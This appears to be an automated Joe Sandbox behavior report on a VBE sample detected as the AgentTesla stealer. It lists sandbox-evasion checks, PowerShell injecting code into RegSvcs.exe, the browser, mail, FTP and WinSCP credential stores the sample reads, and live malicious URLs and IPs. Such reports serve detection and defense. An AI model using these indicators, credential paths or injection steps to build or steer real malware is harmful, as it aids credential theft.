Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Windows\System32\wscript.exe

Dropped file: Do While CBL < 10000 ' Lmite de iteraciones para demostracin WScript.Sleep 10000

Jump to dropped file

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5978	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3880	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 590	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 2995	Jump to behavior

Source: C:\Windows\System32\wscript.exe TID: 7280	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\wscript.exe TID: 7340	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6128	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99624	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99296	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99077	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98968	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98856	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98747	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98421	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98202	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: wscript.exe, 00000000.00000003.2057998960.000001FE4C765000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2072048956.000001FE4C765000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2108624502.000001FE4C765000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2058319657.000001FE4C765000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2246918851.000001FE4C6F7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2247215022.000001FE4C763000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2248955221.000001FE4C6FF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2221847721.000001FE4C763000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2209476075.000001FE4C765000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2247215022.000001FE4C6FD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2249046009.000001FE4C763000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegSvcs.exe, 00000008.00000002.3298797995.0000000006346000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllsion
Source: wscript.exe, 00000000.00000003.2246918851.000001FE4C6F7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2248955221.000001FE4C6FF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2247215022.000001FE4C6FD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RA1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

System process connects to network (likely due to code injection or exploit)

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\System32\wscript.exe

Network Connect: 172.67.215.48 443

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 1150000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 1150000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 1152000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 118C000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 118E000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: F27008	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "8092" "2736" "2688" "2740" "0" "0" "2744" "0" "0" "0" "0" "0"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 8.2.RegSvcs.exe.1150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3296808679.00000000030C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3296808679.0000000003091000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3296808679.00000000030BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3294593134.0000000001152000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3276, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 8.2.RegSvcs.exe.1150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3296808679.0000000003091000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3294593134.0000000001152000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3276, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 8.2.RegSvcs.exe.1150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3296808679.00000000030C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3296808679.0000000003091000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3296808679.00000000030BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3294593134.0000000001152000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3276, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	211 Scripting	Valid Accounts	121 Windows Management Instrumentation	211 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	311 Process Injection	1 Obfuscated Files or Information	1 Credentials in Registry	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	111 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Masquerading	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	131 Virtualization/Sandbox Evasion	LSA Secrets	131 Virtualization/Sandbox Evasion	SSH	Keylogging	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	311 Process Injection	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Booking_0731520.vbe	25%	ReversingLabs	Win32.Trojan.Leonem

Source	Detection	Scanner	Label
https://documenthost.store/2910/filen	0%	Avira URL Cloud	safe
https://documenthost.store/2910/r	0%	Avira URL Cloud	safe
https://documenthost.store/2910/v	0%	Avira URL Cloud	safe
https://documenthost.store:443/2910/E93ukvxugzIRTSVJZUqI.txt	0%	Avira URL Cloud	safe
https://documenthost.store/2910/file	0%	Avira URL Cloud	safe
https://documenthost.store:443/2910/r	0%	Avira URL Cloud	safe
https://documenthost.store/L	0%	Avira URL Cloud	safe
https://documenthost.store/2910/s	0%	Avira URL Cloud	safe
https://documenthost.store/2910/E93ukvxugzIRTSVJZUqI.txt	0%	Avira URL Cloud	safe
https://documenthost.store:443/2910/file	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
documenthost.store	172.67.215.48	true	true		unknown
api.ipify.org	104.26.12.205	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high
https://documenthost.store/2910/s	true	Avira URL Cloud: safe	unknown
https://documenthost.store/2910/v	true	Avira URL Cloud: safe	unknown
https://documenthost.store/2910/r	true	Avira URL Cloud: safe	unknown
https://documenthost.store/2910/file	true	Avira URL Cloud: safe	unknown
https://documenthost.store/2910/E93ukvxugzIRTSVJZUqI.txt	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://documenthost.store/2910/filen	wscript.exe, 00000000.00000003.2247215022.000001FE4C763000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2249046009.000001FE4C763000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2247957240.000001FE4C763000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.org	RegSvcs.exe, 00000008.00000002.3296808679.0000000003041000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3294593134.0000000001152000.00000040.00000400.00020000.00000000.sdmp	false		high
https://documenthost.store:443/2910/E93ukvxugzIRTSVJZUqI.txt	wscript.exe, 00000000.00000003.2108162722.000001FE4C759000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2108624502.000001FE4C759000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2209476075.000001FE4C759000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.dyn.com/	RegSvcs.exe, 00000008.00000002.3294593134.0000000001152000.00000040.00000400.00020000.00000000.sdmp	false		high
https://documenthost.store/L	wscript.exe, 00000000.00000003.2221847721.000001FE4C723000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2072222190.000001FE4C723000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2058132166.000001FE4C723000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2209476075.000001FE4C723000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://documenthost.store:443/2910/r	wscript.exe, 00000000.00000003.2072048956.000001FE4C759000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.org/t	RegSvcs.exe, 00000008.00000002.3296808679.0000000003041000.00000004.00000800.00020000.00000000.sdmp	false		high
https://documenthost.store:443/2910/file	wscript.exe, 00000000.00000003.2247957240.000001FE4C759000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2249046009.000001FE4C759000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2246918851.000001FE4C759000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegSvcs.exe, 00000008.00000002.3296808679.0000000003041000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.26.12.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
162.254.34.31	unknown	United States	64200	VIVIDHOSTINGUS	true
172.67.215.48	documenthost.store	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1554388
Start date and time:	2024-11-12 13:38:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Booking_0731520.vbe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winVBE@10/12@2/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 57 Number of non-executed functions: 11
Cookbook Comments:	Found application associated with file extension: .vbe

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.182.143.212
